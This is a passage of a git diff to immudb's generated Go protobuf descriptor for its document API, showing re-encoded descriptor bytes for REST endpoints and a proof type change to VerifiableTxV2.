0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, - 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, - 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, - 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, - 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, - 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, + 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, + 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, - 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, - 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, - 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, - 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, - 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, - 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, - 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, - 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, - 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, + 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, + 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, + 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, + 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, + 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, + 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, + 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, + 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x33, } var ( @@ -1974,7 +1998,7 @@ var file_documentschema_proto_goTypes = []interface{}{ (*_struct.Struct)(nil), // 30: google.protobuf.Struct (_struct.NullValue)(0), // 31: google.protobuf.NullValue (*_struct.Value)(nil), // 32: google.protobuf.Value - (*schema.VerifiableTx)(nil), // 33: immudb.schema.VerifiableTx + (*schema.VerifiableTxV2)(nil), // 33: immudb.schema.VerifiableTxV2 } var file_documentschema_proto_depIdxs = []int32{ 30, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct @@ -1984,7 +2008,7 @@ var file_documentschema_proto_depIdxs = []int32{ 32, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value 7, // 5: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery 30, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 33, // 7: immudb.documentschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx + 33, // 7: immudb.documentschema.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 14, // 8: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit 30, // 9: immudb.documentschema.DocumentAudit.value:type_name -> google.protobuf.Struct 1, // 10: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 